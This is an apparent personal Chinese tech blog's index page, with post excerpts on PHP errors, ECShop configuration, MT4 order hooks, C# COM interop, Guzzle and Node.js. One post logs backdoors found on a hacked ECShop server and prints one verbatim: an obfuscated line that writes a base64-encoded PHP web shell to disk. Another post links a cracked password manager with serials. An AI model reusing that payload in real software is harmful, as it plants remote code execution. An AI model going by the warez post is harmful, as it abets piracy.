2016年2月18日失而复得

这个网站已经很久没有新内容了,自从2014年年底起就因为一些原因而关闭了,后来一直没有关注,以为数据也丢失了~~~。


今天,联系了下空间的客服,没想到一年多过去了,购买的空间早已过期,但空间备份的数据还在,赞一个!!!


主要还是舍不得关掉这个网站,因为记录了很多从我喜欢上计算机编程起的一些历程,算是过去学习的一个缩影。


以后还是多更新,以前主要关注windows桌面软件开发,软件安全,现在主要从事PHP服务端开发,转战web开发(个人绝对这也是大势所趋,或许若干年后本地不需要安装任何软件了,一个浏览器足以~),其实我觉得用现在的流行说法全栈工程师比较合适。有空尽量写写技术文章,提升自己的同时也是造福他人,希望自己能坚持下去。

...

分类:生活点滴  标签:  网友评论2条  已浏览loading

2014年7月23日PHP编程中10个最常见的错误

本文根据10 Most Common PHP Mistakes整理而来,非逐字翻译,在保证原文内容不变的同时,加入了些自己的理解。

错误1:foreach循环后留下悬挂指针

在foreach循环中,如果我们需要更改迭代的元素或是为了提高效率,运用引用是一个好办法:

...

分类:技术心得  标签:PHP  错误    网友评论1条  已浏览loading

2014年6月27日ECShop的配置信息加载

ECShop的相关配置信息是保存在数据库的shop_config表中的。实际应用中,为了提高性能,避免反复的数据库读取操作,ECShop会把配置信息缓存在/temp/static_caches/shop_config.php文件中。相关功能是/includes/lib_common.php文件中的load_config函数实现的。如果读取缓存文件失败,则会从数据库中读取并将结果缓存在缓存文件中。



/**

 * 读结果缓存文件

...

分类:技术心得  标签:ECShop    网友评论0条  已浏览loading

2014年6月27日mt4系统跟单插件的实现

在MT4交易系统中,有时需要实现这样一种功能:



当客户下单/平仓/改单等相关订单操作时,第三方应用能得到即时通知,获取订单的相关信息,以便处理相应的业务。



我们可以利用MT4系统提供的Server Hook API(MtSrvTradesAdd、MtSrvTradesUpdate)来实现此功能。拦截相关订单操作,给指定的URL发送HTTP GET/POST消息通知(当然也可以以其它方式发送信息)。

...

分类:技术心得  标签:MT4  跟单    网友评论0条  已浏览loading

2014年6月10日C#生成Com组件dll供VB6调用

1.C#代码
[CODE=c#]
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;

namespace testDll
{
[ComVisible(true)]
public interface iClass1
{
string test(string data,string url);
...

分类:技术心得  标签:C#  COM  DLL  vb6    网友评论0条  已浏览loading

2014年6月4日一些ECShop后门

有个服务器没怎么管它,发现磁盘莫名奇妙的全满了。上面是一些ECShop商城,很久没更新了。ECShop本来漏洞就比较多,国内用的也多,估计好多人没事都在扫吧。。。


发现一些后门,记录下:


$_LANG['is_paid'] = "状态${${fputs(fopen(base64_decode(aW5kZS5waHA),w),base64_decode(PD9waHAgJGsgPSBzdHJfcmVwbGFjZSgiOSIsIiIsImE5czk5czllOXI5dCIpOyRrKCRfUE9TVFsiOSJdKTsgPz4))}}";

...

分类:网站相关  标签:ecshop.后门  木马    网友评论0条  已浏览loading

2014年5月22日[原创]支付宝自动代付工具

软件简介


支付宝自动代付软件可实现实时监控指定支付宝账户的代付记录,并对代付交易进行自动支付(自动代付)。


软件主要特色:


  1. 实时监控,自动支付,完全无需人工干预;
  2. 支持代付交易有效性验证(web远程验证/手动验证),验证成功才支付;
  3. 代付金额大小范围可自定义;
  4. 支付结果web通知回调,方便您的具体业务处理;
  5. 支持支付宝账户自动登录,方便断线后自动重连。


...

分类:原创软件  标签:支付宝  自动代付    网友评论0条  已浏览loading

2014年4月22日PHP-CPP - 利用C++开发PHP扩展

PHP-CPP是一个用来开发PHP扩展的C++库,下面引用自官方介绍:


The PHP-CPP library is a C++ library for developing PHP extensions. It offers a collection of well documented and easy-to-use classes that can be used and extended to build native extensions for PHP.


1.安装PHP-CPP


PHP-CPP目前只支持Linux系统和OSX,我这里用的是CentOS 6.0。

分类:网站相关  标签:PHP-CPP    网友评论0条  已浏览loading

2014年3月30日Symfony 2.4.2 ParameterNotFoundException 错误

google搜索了下,折腾了一会才找到这个帖子:http://forum.symfony-project.org/viewtopic.php?t=68531


留个档!


错误描述:



ParameterNotFoundException: You have requested a non-existent parameter "kernel.debug".

...

分类:网站相关  标签:symfony    网友评论0条  已浏览loading

2014年2月11日PHP应用的水平扩展

英文原文:Horizontal Scaling of PHP Apps


结合原文和自己的理解,简单总结下,便于理解和日后查阅。


一个web网站,面对流量增长和其他性能瓶颈的挑战,我们应该如何去处理呢?两个方面-优化和扩展


优化如升级php版本至最新版本、做好数据库索引、静态内容缓存等,比如一种常用的思路是利用Nginx做反向代理,具体可参考此处。扩展包括水平扩展和垂直扩展,垂直扩展简单说就是硬件的升级,以此获取更好的性能。水平扩展是用更多的服务器来做负载均衡,以此为网站提升更好的性能。负载均衡大的方面有两种实现,软件和硬件。软件可以用Nginx和Squid来实现,硬件可参考此列表

...

分类:技术心得  标签:PHP  水平扩展  垂直扩展    网友评论1条  已浏览loading

2014年1月16日PHP HTTP 客户端 - Guzzle

简介
Guzzle是PHP中的一个的独立HTTP客户端。可以通过composer来安装,composer.json文件内容如下所示:

{
	"name":"jd/guzzle demo",
	"authors":[
		{
			"name":"Eddy",
			"email":"eddy@rrgod.com"
		}
	],
	"require":{
		"guzzle/guzzle":"~3.7"
	}
}
保存文件,运行composer install命令,Guzzle库安装完成,OK~
...

分类:技术心得  标签:PHP  HTTP  guzzle    网友评论0条  已浏览loading

2014年1月9日KeyPass Enterprise Edition 4.9.15 Portable & serials

个人觉得很好用的秘码管理软件,费了点劲才搜索下载到这个版本,本地留个备份,留给需要的朋友。


下载:


KeyPass Enterprise Edition 4.9.15 Portable & serials


解压密码:rrgod.com

分类:精品软件  标签:KeyPass  serials    网友评论0条  已浏览loading

2013年11月14日Node.js的应用场景

英文原文:http://www.toptal.com/nodejs/why-the-hell-would-i-use-node-js


文章对Node.js做了简要介绍,讲解了Node.js的工作原理及NPM(Node.js上的包管理,类似于php中的pear、composer等),并指出在哪些业务场景下用Node.js会很有优势,另外还讨论了哪些情况下该用和不该用Node.js。

...

分类:技术心得  标签:node  js    网友评论0条  已浏览loading

2013年11月8日php+ajax实现长轮询(Comet)

所谓ajax长轮询,简单说就是客户端发起ajax请求,服务端会挂起该请求(通过循环),直到条件触发使服务器返回,在服务器返回前客户端一直处于pending,等待服务器返回。

ajax长轮询可以减少客户端的无用请求,不过服务端的压力会大一些。另外可以采用websocket实现推送,不过兼容性会差些,有些浏览器不支持websocket。

下面的代码可实现Comet:

服务端代码:

[CODE=php]
//server.php 服务端
set_time_limit(0);
$filename = './data.txt';
...

分类:技术心得  标签:PHP  Ajax  Comet    网友评论1条  已浏览loading

2013年11月5日JavaScript中的作用域链

看下面这段代码:



<!doctype html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>js</title>

</head>

...

分类:技术心得  标签:javascript  作用域链    网友评论0条  已浏览loading